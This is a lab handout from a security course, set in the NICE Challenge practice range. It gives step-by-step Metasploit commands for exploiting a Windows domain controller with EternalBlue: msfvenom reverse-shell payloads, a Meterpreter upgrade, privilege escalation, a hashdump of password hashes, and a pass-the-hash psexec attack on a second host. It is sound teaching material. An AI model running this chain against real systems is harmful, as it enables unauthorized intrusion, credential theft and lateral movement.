Lab 9 - NICE Challenge - Professor Shafer Special

In this lab you are going to use Metasploit to target systems running Microsoft Windows.

• Environment: Pretty Safe Electronics
• Challenge Title: Unauthorized Activity Alert (or any challenge in the PSE environment)
• Access via https://portal.nice-challenge.com/

Activities

Part 1 - Scanning

Log onto the Security-Desk system. It's Kali Linux, just an older release than what you have installed on your own computer.

Do a nmap scan of the domain controller ("AD-Server", short for Active Directory Server, on the network map) from within Metasploit. Tell nmap to include all the details and tests in its scanning. What command do you use?

Part 2 - Exploit

Search for exploits related to the eternalblue exploit, which is effective on many (unpatched) versions of Windows.

msf6> search eternalblue

Metasploit has a scanner for eternalblue. Let's use that first.

msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6> info
msf6> options
msf6> set RHOSTS 172.16.30.55    # RHOSTS, plural, because it could scan many hosts
msf6> exploit
# Scanner will run and report results

Ah, a vulnerability was found! Let's use the eternalblue exploit, then.

Based on instructions How to Exploit Eternalblue to get a Meterpreter Session on Windows Server 2012 R2

Download eternalblue8_exploit.py from https://gist.github.com/worawit (Just use the web browser on security-desk)

Download the eternalblue kernel shellcode eternalblue_x64_kshellcode.asm from https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm (just use the web browser on the security-desk)

Assemble the kernel shellcode (transform the raw assembly code into binary machine code)

$ nasm -f bin eternalblue_x64_kshellcode.asm

Generate a userland shell payload using msfvenom. Note that LHOST and LPORT point to the Security-Desk machine. It's the "local" machine from the perspective of the exploit.

$ msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=172.16.20.55 LPORT=4444

Combine the kernel and userland shellcode

$ cat eternalblue_x64_kshellcode shell_msf.bin > reverse_shell.bin

Set up Metasploit to receive the meterpreter shell as soon as it is running

msf6> use exploit/multi/handler
msf6> set PAYLOAD windows/x64/shell/reverse_tcp
msf6> set LHOST 172.16.20.55   # IP of Security-Desk, which will listen
msf6> set LPORT 4444
msf6> exploit -j    # Run exploit handler as a background job
### Leave this running and waiting

Install Impacket utility that exploit needs to function

# Need to install impacket on Python 2.7, but pip is not installed for that Python version. (System pip is for Python 3.x)
# First install pip, then upgrade the setup tools, then finally install impacket
$ wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
$ sudo python get-pip.py
$ sudo python -m pip install --upgrade setuptools
$ sudo python -m pip install impacket==0.9.22

Run the exploit

$ python eternalblue8_exploit.py 172.16.30.55 reverse_shell.bin 500

What sessions have been created?

msf6> sessions
msf6> sessions -i <num>     # where <num> = Number of session that just opened

Part 3 - Post-Exploit

Now that you have initial access to the system, take advantage of it.

Switch back to the Security-Desk and Metasploit now. Background the running shell (exploit) with CTRL-Z, then enter y when prompted to "Background session?"

Now upgrade your shell to Meterpreter.

msf6> search shell_to_meterpreter
msf6> use post/multi/manage/shell_to_meterpreter
msf6> options
msf6> set SESSION <num>   # Where <num> is session you JUST backgrounded
msf6> exploit   # Should see "Meterpreter session <num> opened"
msf6> sessions

Take a screenshot at this point as a deliverable.

Connect to that active Meterpreter session on the domain controller.

msf6> sessions -i <num>   # Where <num> is NEW meterpreter session

There's lots of fun things to do here!

meterpreter>  sysinfo    # Where am I running?  Should be domain controller
meterpreter>  getprivs   # See what permissions we have
meterpreter>  ps         # Process list
meterpreter>  getsystem  # Ensure we're escalated to SYSTEM access, it not already
meterpreter>  migrate <pid>  # Migrate to another process - Look for vds.exe and use its PID
meterpreter>  hashdump

These password hashes are perfect for brute forcing, and are also useful for Windows pass-the-hash attacks (where you don't need the original password, just the hash will suffice).

Background the meterpreter shell on the domain controller: CTRL-Z, then y

Part 4 - Pass-the-Hash

Let's use a Pass-The-Hash attack to gain shell access to the DATABASE computer without needing to brute force the password plaintext. This is a "feature" of older versions of Windows.

See Also: https://security.stackexchange.com/questions/141681/can-an-intruder-still-possibly-succeed-with-pass-the-hash-or-pass-the-ticket-on

msf6> use exploit/windows/smb/psexec
msf6> set RHOST 172.16.30.88    # The DATABASE host
msf6> set SMBUser Administrator
msf6> set SMBPass TheHashedPassword
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 172.16.20.55    # Security-Desk
msf6> set LPORT 4445            # We need a different port since 4444 is already in use by Meterpreter on the Domain Controller
msf6> exploit -j
msf6> sessions